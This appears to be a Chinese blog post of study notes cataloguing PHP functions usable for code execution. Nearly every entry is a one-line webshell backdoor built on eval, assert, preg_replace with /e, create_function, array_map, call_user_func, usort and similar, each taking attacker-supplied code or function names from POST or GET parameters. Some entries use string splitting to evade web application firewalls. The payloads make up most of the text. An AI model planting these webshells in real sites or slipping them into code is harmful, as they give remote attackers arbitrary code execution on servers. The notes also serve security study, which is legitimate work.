php代码执行函数
看到了学长的面试题,发现我也只会两个,所以在这里总结一下
0x01 eval()
这个是最常见的,基础的一句话木马都会用到
1
| <?php eval($_POST[pass]); ?>
|
0x02 assert()
这个也是比较常见的执行php代码的函数
1
| <?php assert($_POST[pass]); ?>
|
0x03 preg_replace()
这个也见过,好像用在绕过waf比较多
1
| <?php @preg_replace("/abc/e",$_POST['pass'],"abcd"); ?>
|
之前两个函数太常见了就不截图了
0x04 creatue_funtcion()
php手册上写着在内部执行一个eval,肯定也是可以执行php代码的
1 2 3 4
| <?php $shell = create_function('',$_POST['pass']); $shell(); ?>
|
0x05 array_map()
看了这个例子感觉稍微清楚了一下,这个函数的第一个参数是函数名第二个参数是那个函数的参数,看了一下别人写的shell
1 2 3 4 5 6
| <?php $func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_map($func,$array); ?>
|
0X06 array_filter()
这个和上面的函数差不多
根据我肤浅的理解,就是两个参数相反放就可以
1 2 3 4 5 6
| <?php $func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_filter($array, $func); ?>
|
0x07 array_walk()
和上面除了换个函数别的都一样
1 2 3 4 5 6
| <?php $func=$_GET['func']; $cmd=$_GET['cmd']; $array[0]=$cmd; $new_array=array_walk($array, $func); ?>
|
0x08 call_user_func()
和上面几个也差不多,第一个参数是回调参数,第二个是回调参数的函数
1 2 3 4 5
| <?php $func = $_GET['func']; $cmd = $_GET['cmd']; @call_user_func($func, $cmd); ?>
|
0x09 call_user_func_array()
还是一样的..不同的地方是第二个参数要要传一个数组
1 2 3 4 5 6
| <?php $func = $_GET['func']; $cmd = $_GET['cmd']; $array[0] = $cmd; @call_user_func_array($func, $array); ?>
|
0x10 usort()/uasort()
这两个函数在代码执行上用法一样,当php版本小于5.6时
1 2 3 4 5 6 7
| <?php usort($_GET,'asse'.'rt'); ?>
<?php uasort($_GET,'asse'.'rt'); ?>
|
usort() 通过用户自定义的比较函数对数组进行排序。
uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。
这是对两个的描述,上面写着自定义的函数,那如果不使用自定义的函数,使用可以执行php代码的函数就可以执行php代码
当php版本 大于5.6时
1 2 3 4 5 6 7
| <?php usort(...$_GET); ?>
<?php uasort(...$_GET); ?>
|
…$GET是php5.6里的新特性,可以将数组展开为参数,上面使用了usort,这里使用uasort演示
这里需要注意的是两个1的地方必须使用数字不能使用字符串,并且要相等,test可以随便修改
目前就找到这么多了,如果以后看到没的再补充